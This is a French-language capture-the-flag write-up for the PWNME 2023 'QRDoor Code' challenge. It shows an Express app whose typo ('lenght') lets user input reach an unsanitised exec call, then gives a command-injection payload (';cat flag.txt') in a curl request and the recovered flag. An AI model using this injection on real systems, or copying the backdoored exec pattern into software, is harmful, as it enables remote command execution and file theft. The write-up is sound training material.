QRDoor Code | PWNME CTF 2023

- 3 mins read

Introduction du challenge:

A company needed a website, to generate QR Code. They asked for a freelance to do this job
Since the website is up, they've noticed weird behaviour on their server
They need you to audit their code and help them to resolve their problem
Flag is situed in /app/flag.txt

Tree Viewer

Les sources de ce challenge sont fournies :

.
├── docker-compose.yml
├── Dockerfile
├── package.json
├── src
│   └── index.js
└── views
    └── index.ejs

On s’intéresse au contenu de l’application: index.js

index.js

const cookieParser = require('cookie-parser')
const express = require('express')
const { exec } = require("child_process");
const qrcode = require('qrcode');

const PORT = process.env.PORT || 4560;

const app = express();
app.set('view engine', 'ejs');
app.use(express.json());
app.use(cookieParser());

class QRCode {
    constructor(value, defaultLength){
        this.value = value
        this.defaultLength = defaultLength
    }

    async getImage(){
        if(!this.value){
            // Use 'fortune' to generate a random funny line, based on the input size
            try {
                this.value = await execFortune(this.defaultLength)
            } catch (error) {
                this.value = 'Error while getting a funny line'
            }
        }
        return await qrcode.toDataURL(this.value).catch(err => 'error:(')
    }
}

app.get('/', async (req, res) => {
    res.render('index');
});

app.post('/generate', async (req, res) => {
    const { value } = req.body;
    try {
        let newQrCode;
        // If the length is too long, we use a default according to the length
        if (value.length > 150)
            newQrCode = new QRCode(null, value.lenght)
        else {
            newQrCode = new QRCode(String(value))
        }

        const code = await newQrCode.getImage()
        res.json({ code, data: newQrCode.value });
    } catch (error) {
        res.status(422).json({ message: "error", reason: 'Unknow error' });
    }
});

function execFortune(defaultLength) {
    return new Promise((resolve, reject) => {
     exec(`fortune -n ${defaultLength}`, (error, stdout, stderr) => {
      if (error) {
        reject(error);
      }
      resolve(stdout? stdout : stderr);
     });
    });
   }

app.listen(PORT, async () => {
    console.log(`QR Code Generator is running on port ${PORT}`);
});

C’est une application express avec un unique endpoint: /generate.
On passe en paramètre ce qui appelé value dans le code.
En fonction de sa propriété length, il va créer un object QRCode puis retourner le résultat de QRCode.getImage().

On se rend compte que getImage() éxécute la fonction execFortune avec le paramètre defaultLength.

En regardant de plus prêt, on remarque que la fonction execFortune est vulnérable à une injection de commande:

exec(`fortune -n ${defaultLength}`, (error, stdout, stderr) ...)

Notre objectif est clair : créer un object QRcode avec une injection de commande dans le paramètre defaultLength pour obtenir une exécution de commande.

Misconfiguration:

On se rend compte d’une erreur lors de la création de l’object QRcode:

if (value.length > 150)
    newQrCode = new QRCode(null, value.lenght)
else {
    newQrCode = new QRCode(String(value))
}
  • value.length
  • value.lenght

Il y a une faute d’orthographe ce qui permet d’avoir 2 paramètres différents :

  • Un pour passer la condition :if (value.length > 150)
  • Un pour RCE.

Poc & Flag:

On peut donc envoyer un objet de la forme:

{
  "length":151,
  "lenght":";cat flag.txt"
}

On obtient :

curl -X POST http://13.37.17.31:51731/generate \
  -H "Content-Type: application/json" \
  -d '{"value":{"length":151,"lenght":";cat flag.txt"}}' | jq

Résultat

{
  "code": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIQAAACECAYAAABRRIOnAAAAAklEQVR4AewaftIAAAOUSURBVO3BO47kWAADwcyHuv+VuWOsQUuAIFXPB4wwvzDzv8NMOcyUw0w5zJTDTDnMlMNMOcyUw0w5zJTDTDnMlMNMOcyUw0z58JDKT0pCU2lJaCpPJOGKSktCU/lJSXjiMFMOM+UwUz68LAlvUrlD5Y4kNJU7knBHEt6k8qbDTDnMlMNM+fBlKnck4Y4kNJWWhKbSVK6otCQ0lZaEO1TuSMI3HWbKYaYcZsqHv5zKE0m4otJU/mWHmXKYKYeZ8uEvl4QrKldUWhJaEppKS8K/5DBTDjPlMFM+fFkSfqckNJUnktBUWhLuSMKf5DBTDjPlMFM+vEzlJ6m0JDSVloSmckWlJeEJlT/ZYaYcZsphpnx4KAl/siT8Tkn4mxxmymGmHGbKh4dUWhKaypUkNJU7ktBUWhKaSktCU3mTSkvCFZWWhKZyJQlPHGbKYaYcZsqH30ylJeEnqbxJ5YpKS0JLQlNpSWgqbzrMlMNMOcyUDy9TaUloKneotCTcodKS0FSuJOFPloQ3HWbKYaYcZor5hReptCQ0lZaEptKS8JNU3pSEptKS0FSeSMITh5lymCmHmfLhIZUnVK6o3JGEKyotCVeScIdKU7miciUJTeWbDjPlMFMOM+XDQ0l4IglNpSWhqbQkXFH5JpWWhCsqd6i0JHzTYaYcZsphpphfeJHKlSQ0lTuS0FSuJOGKypUk3KFyJQlXVO5IwpsOM+UwUw4z5cNDKi0JTeVKEp5IwpuS0FRaEu5Iwh1JuEOlJeGJw0w5zJTDTPnwUBLuUGlJuKLSknCHypUkNJU7VK6o3JGEKyotCW86zJTDTDnMlA9floQnknBFpSWhJeGKypuScIdKU/mdDjPlMFMOM+XDQyo/KQlPqNyRhCdUWhKuJOGKSlNpSXjiMFMOM+UwUz68LAlvUnlCpSWhqbQkXFG5Iwl3qLQkXEnCmw4z5TBTDjPlw5ep3JGEO5LQVK6otCRcUWlJaCpN5ZuS0FRaEp44zJTDTDnMlA9/OZWWhDtU7lBpSWgqV5LQVK6o/KTDTDnMlMNM+fCPUbkjCXeo3JGEpvKmJLzpMFMOM+UwUz58WRK+KQlN5QmVJ5JwJQlNpSWhqbQkfNNhphxmymGmfHiZyk9SaUloKldUWhKuqLwpCXeoXEnCE4eZcpgph5lifmHmf4eZcpgph5lymCmHmXKYKYeZcpgph5lymCmHmXKYKYeZcpgph5nyH62of0GjkwIwAAAAAElFTkSuQmCC",
  "data": "PWNME{3asY_B4cKd0oR_93}\n"
}
PWNME{3asY_B4cKd0oR_93}